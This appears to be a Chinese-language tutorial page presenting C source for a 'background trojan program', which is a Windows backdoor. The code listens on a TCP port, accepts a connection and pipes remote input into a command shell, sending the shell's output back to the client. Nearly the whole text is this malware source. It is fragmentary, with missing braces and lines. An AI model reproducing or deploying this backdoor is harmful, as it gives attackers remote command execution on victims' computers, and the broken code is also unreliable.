c语言编写木马软件,【C语言】后台木马程序

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DWORD dwWrited = 0, dwRecvd = 0;

char szBuf[MAX_PATH] = {0};

BOOL bRet = FALSE;

while ( TRUE ) {

dwRecvd = recv(tNode.m_Sock, szBuf, MAX_PATH, 0);

if ( dwRecvd > 0 && dwRecvd != SOCKET_ERROR ) {

WriteFile(tNode.hPipe, szBuf, dwRecvd, &dwWrited, NULL);

}else{

closesocket(tNode.m_Sock);

WriteFile(tNode.hPipe, "exit ", sizeof("exit "), &dwWrited, NULL);

bExit = TRUE;

break;

}

Sleep(50);

return TRUE;

DWORD WINAPI ThreadOutputProc(LPVOID lpParam) //此函数功能时刻向客户端发送cmd输出的数据

{

CThreadNode tNode = *(CThreadNode *)lpParam;

char szBuf[RECV_BUF_LEN] = {0};

DWORD dwReadLen = 0, dwTotalAvail = 0;

while ( !bExit ) {

dwTotalAvail = 0;

bRet = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);

if ( bRet && dwTotalAvail > 0 ) {

bRet = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwReadLen, NULL);

if ( bRet && dwReadLen > 0 ) {

SendData(tNode.m_Sock, szBuf, dwReadLen);

BOOL StartShell(UINT uPort)

if ( !SocketInit() ) { //初始化Stocket库

return FALSE;

SOCKET m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if ( m_ListenSock == INVALID_SOCKET ) {

sockaddr_in sServer = {0};

sServer.sin_family = AF_INET;

sServer.sin_addr.s_addr = htonl(INADDR_ANY);//用主机的任意可用IP地址

sServer.sin_port = htons(uPort); //要开启的端口号

if ( bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer)) == SOCKET_ERROR ) { //将套接字绑定到IP地址和端口

if ( listen(m_ListenSock, 5) == SOCKET_ERROR ) { //让端口进入监听模式

SOCKET m_AcceptSock = accept(m_ListenSock, NULL, NULL); //创建新的套接字，然后等待与客户端的连接

// 创建管道的一些初始化

CThreadNode m_ReadNode, m_WriteNode;

STARTUPINFO si = {0};

si.cb = sizeof(STARTUPINFO);

PROCESS_INFORMATION pi = {0};

DWORD dwThreadRead = 0, dwThreadWrite = 0;

HANDLE hReadPipe1 = NULL, hWritePipe1 = NULL; // Input the command;

HANDLE hReadPipe2 = NULL, hWritePipe2 = NULL; // Get the command results;

HANDLE hThreadOutput = NULL, hThreadInput = NULL;

SECURITY_ATTRIBUTES sa = {0};